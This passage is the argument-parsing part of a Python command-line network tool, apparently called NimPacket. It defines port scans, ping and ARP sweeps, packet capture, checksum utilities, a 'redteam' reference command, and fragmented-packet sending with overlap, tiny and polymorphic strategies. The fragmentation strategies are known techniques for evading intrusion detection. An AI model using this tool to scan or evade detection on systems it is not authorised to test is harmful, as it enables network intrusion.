    p.add_argument('--top-ports', type=int, default=None,
                   help='Scan top N well-known ports instead of --ports')
    p.add_argument('--src-ip', required=True, help='Your source IP address')
    p.add_argument('--timeout', type=int, default=1000, help='Per-probe timeout ms (default: 1000)')
    p.add_argument('--delay', type=int, default=0, help='Delay between probes ms (default: 0)')
    p.add_argument('--open-only', action='store_true', help='Only show open ports')
    p.add_argument('--json', dest='json_output', action='store_true', help='Output JSON')
    p.add_argument('-o', '--output', dest='output_file', default=None,
                   help='Save results to JSON file')
    p.set_defaults(func=scan_ports)

    # scan hosts - ICMP ping sweep
    p = scan_sub.add_parser('hosts', help='ICMP ping sweep (host discovery)')
    p.add_argument('--target', required=True,
                   help='Target: IP, CIDR, or range')
    p.add_argument('--target-file', default=None,
                   help='File with targets (one per line)')
    p.add_argument('--src-ip', required=True, help='Your source IP address')
    p.add_argument('--timeout', type=int, default=1000, help='Per-probe timeout ms (default: 1000)')
    p.add_argument('--delay', type=int, default=0, help='Delay between probes ms (default: 0)')
    p.add_argument('--alive-only', action='store_true', help='Only show alive hosts')
    p.add_argument('--json', dest='json_output', action='store_true', help='Output JSON')
    p.add_argument('-o', '--output', dest='output_file', default=None,
                   help='Save results to JSON file')
    p.set_defaults(func=scan_hosts)

    # scan arp - ARP discovery (LAN only)
    p = scan_sub.add_parser('arp', help='ARP scan (LAN host + MAC discovery)')
    p.add_argument('--target', required=True,
                   help='Target: IP, CIDR, or range')
    p.add_argument('--target-file', default=None,
                   help='File with targets (one per line)')
    p.add_argument('--src-mac', required=True, help='Your MAC address')
    p.add_argument('--src-ip', required=True, help='Your source IP address')
    p.add_argument('--timeout', type=int, default=1000, help='Per-probe timeout ms (default: 1000)')
    p.add_argument('--delay', type=int, default=0, help='Delay between probes ms (default: 0)')
    p.add_argument('--alive-only', action='store_true', help='Only show alive hosts')
    p.add_argument('--json', dest='json_output', action='store_true', help='Output JSON')
    p.add_argument('-o', '--output', dest='output_file', default=None,
                   help='Save results to JSON file')
    p.set_defaults(func=scan_arp)

    # scan sweep - one port across many hosts
    p = scan_sub.add_parser('sweep', help='Port sweep (one port, many hosts)')
    p.add_argument('--target', required=True,
                   help='Target: IP, CIDR, or range')
    p.add_argument('--target-file', default=None,
                   help='File with targets (one per line)')
    p.add_argument('--port', required=True, type=int, help='Port to scan')
    p.add_argument('--src-ip', required=True, help='Your source IP address')
    p.add_argument('--timeout', type=int, default=1000, help='Per-probe timeout ms (default: 1000)')
    p.add_argument('--delay', type=int, default=0, help='Delay between probes ms (default: 0)')
    p.add_argument('--open-only', action='store_true', help='Only show open ports')
    p.add_argument('--json', dest='json_output', action='store_true', help='Output JSON')
    p.add_argument('-o', '--output', dest='output_file', default=None,
                   help='Save results to JSON file')
    p.set_defaults(func=scan_sweep)

    # =========================================================================
    # listen
    # =========================================================================
    listen_parser = subparsers.add_parser('listen', help='Listen for incoming packets (requires admin)')
    listen_parser.add_argument('--protocol', default='all',
                               choices=['tcp', 'udp', 'icmp', 'all'],
                               help='Protocol to listen for (default: all)')
    listen_parser.add_argument('--timeout', type=int, default=5000,
                               help='Receive timeout in ms (default: 5000)')
    listen_parser.add_argument('--count', type=int, default=0,
                               help='Number of packets to capture (0 = unlimited)')
    listen_parser.add_argument('--size', type=int, default=65535,
                               help='Max packet size in bytes (default: 65535)')
    listen_parser.add_argument('--json', dest='json_output', action='store_true',
                               help='Output JSON')
    listen_parser.add_argument('--hex', dest='listen_hex', action='store_true',
                               help='Output raw hex')
    listen_parser.add_argument('--hdrincl', action='store_true',
                               help='Include IP headers in received data')
    listen_parser.add_argument('--broadcast', action='store_true',
                               help='Enable broadcast reception')
    listen_parser.set_defaults(func=cmd_listen)

    # =========================================================================
    # fragment
    # =========================================================================
    frag_parser = subparsers.add_parser('fragment', help='Fragment a packet')
    frag_parser.add_argument('--src-ip', required=True, help='Source IP address')
    frag_parser.add_argument('--dst-ip', required=True, help='Destination IP address')
    frag_parser.add_argument('--payload', required=True, help='Payload string')
    frag_parser.add_argument('--strategy', required=True,
                             choices=['tiny', 'overlap', 'outoforder', 'timedelayed', 'polymorphic'],
                             help='Fragmentation strategy')
    frag_parser.add_argument('--fragment-size', type=int, default=8, help='Fragment size (default: 8)')
    frag_parser.set_defaults(func=cmd_fragment)

    # send-fragmented
    sendfrag_parser = subparsers.add_parser('send-fragmented',
                                            help='Send fragmented packets (requires admin)')
    sendfrag_parser.add_argument('--src-ip', required=True, help='Source IP address')
    sendfrag_parser.add_argument('--dst-ip', required=True, help='Destination IP address')
    sendfrag_parser.add_argument('--payload', required=True, help='Payload string')
    sendfrag_parser.add_argument('--strategy', required=True,
                                 choices=['tiny', 'overlap', 'outoforder', 'timedelayed', 'polymorphic'],
                                 help='Fragmentation strategy')
    sendfrag_parser.add_argument('--delay', type=int, default=100,
                                 help='Delay between fragments in ms (default: 100)')
    sendfrag_parser.set_defaults(func=cmd_send_fragmented)

    # =========================================================================
    # util
    # =========================================================================
    util_parser = subparsers.add_parser('util', help='Utility functions')
    util_sub = util_parser.add_subparsers(dest='util_type', help='Utility to run')

    # util ip-parse
    p = util_sub.add_parser('ip-parse', help='Parse IPv4 string to integer')
    p.add_argument('ip', help='IPv4 address (e.g. 192.168.1.1)')
    p.set_defaults(func=util_ip_parse)

    # util ip-to-string
    p = util_sub.add_parser('ip-to-string', help='Convert integer to IPv4 string')
    p.add_argument('value', help='Integer value')
    p.set_defaults(func=util_ip_to_string)

    # util mac-parse
    p = util_sub.add_parser('mac-parse', help='Parse MAC address to hex bytes')
    p.add_argument('mac', help='MAC address (e.g. AA:BB:CC:DD:EE:FF)')
    p.set_defaults(func=util_mac_parse)

    # util mac-to-string
    p = util_sub.add_parser('mac-to-string', help='Convert hex bytes to MAC string')
    p.add_argument('hex_value', help='Hex bytes (e.g. aabbccddeeff)')
    p.set_defaults(func=util_mac_to_string)

    # util ipv6-parse
    p = util_sub.add_parser('ipv6-parse', help='Parse IPv6 address to hex bytes')
    p.add_argument('ip', help='IPv6 address (e.g. ::1)')
    p.set_defaults(func=util_ipv6_parse)

    # util ipv6-to-string
    p = util_sub.add_parser('ipv6-to-string', help='Convert hex bytes to IPv6 string')
    p.add_argument('hex_value', help='Hex bytes (e.g. 00000000000000000000000000000001)')
    p.set_defaults(func=util_ipv6_to_string)

    # util htons
    p = util_sub.add_parser('htons', help='Host to network byte order (16-bit)')
    p.add_argument('value', help='Integer value')
    p.set_defaults(func=util_htons)

    # util ntohs
    p = util_sub.add_parser('ntohs', help='Network to host byte order (16-bit)')
    p.add_argument('value', help='Integer value')
    p.set_defaults(func=util_ntohs)

    # util htonl
    p = util_sub.add_parser('htonl', help='Host to network byte order (32-bit)')
    p.add_argument('value', help='Integer value')
    p.set_defaults(func=util_htonl)

    # util ntohl
    p = util_sub.add_parser('ntohl', help='Network to host byte order (32-bit)')
    p.add_argument('value', help='Integer value')
    p.set_defaults(func=util_ntohl)

    # util encode-domain
    p = util_sub.add_parser('encode-domain', help='Encode domain name to DNS wire format')
    p.add_argument('domain', help='Domain name (e.g. google.com)')
    p.set_defaults(func=util_encode_domain)

    # util broadcast-mac
    p = util_sub.add_parser('broadcast-mac', help='Show broadcast MAC address')
    p.set_defaults(func=util_broadcast_mac)

    # util checksum
    checksum_parser = util_sub.add_parser('checksum', help='Calculate checksums')
    checksum_sub = checksum_parser.add_subparsers(dest='checksum_type', help='Checksum type')

    # util checksum ipv4
    p = checksum_sub.add_parser('ipv4', help='Calculate IPv4 header checksum')
    p.add_argument('--hex', required=True, help='IPv4 header hex')
    p.set_defaults(func=util_checksum_ipv4)

    # util checksum tcp
    p = checksum_sub.add_parser('tcp', help='Calculate TCP checksum')
    p.add_argument('--ip-hex', required=True, help='IPv4 header hex')
    p.add_argument('--tcp-hex', required=True, help='TCP header hex')
    p.add_argument('--payload-hex', default=None, help='Payload hex (optional)')
    p.set_defaults(func=util_checksum_tcp)

    # util checksum udp
    p = checksum_sub.add_parser('udp', help='Calculate UDP checksum')
    p.add_argument('--ip-hex', required=True, help='IPv4 header hex')
    p.add_argument('--udp-hex', required=True, help='UDP header hex')
    p.add_argument('--payload-hex', default=None, help='Payload hex (optional)')
    p.set_defaults(func=util_checksum_udp)

    # util checksum icmp
    p = checksum_sub.add_parser('icmp', help='Calculate ICMP checksum')
    p.add_argument('--hex', required=True, help='ICMP header hex')
    p.add_argument('--payload-hex', default=None, help='Payload hex (optional)')
    p.set_defaults(func=util_checksum_icmp)

    # =========================================================================
    # info
    # =========================================================================
    info_parser = subparsers.add_parser('info', help='Show NimPacket info')
    info_parser.add_argument('--check-admin', action='store_true',
                             help='Check administrator privileges')
    info_parser.set_defaults(func=cmd_info)

    # =========================================================================
    # help-all
    # =========================================================================
    help_all_parser = subparsers.add_parser('help-all', help='Show ALL commands')
    help_all_parser.set_defaults(func=cmd_help_all)

    # =========================================================================
    # redteam
    # =========================================================================
    redteam_parser = subparsers.add_parser('redteam',
        help='Offensive security reference - shows attack techniques and legal warnings')
    redteam_parser.set_defaults(func=cmd_redteam)

    return parser


def main():
    # Warn on startup if not running as admin
    if not np.is_admin():
        print("[!] Not running as administrator - send/listen commands will not work.")
        print("    Right-click your terminal -> Run as administrator for full functionality.")
        print()

    parser = build_parser()
    args = parser.parse_args()

    if not hasattr(args, 'func'):
        parser.print_help()
        sys.exit(1)

    try:
        args.func(args)
    except Exception as e:
        print(f"Error: {e}", file=sys.stderr)
        sys.exit(1)


if __name__ == '__main__':
    main()
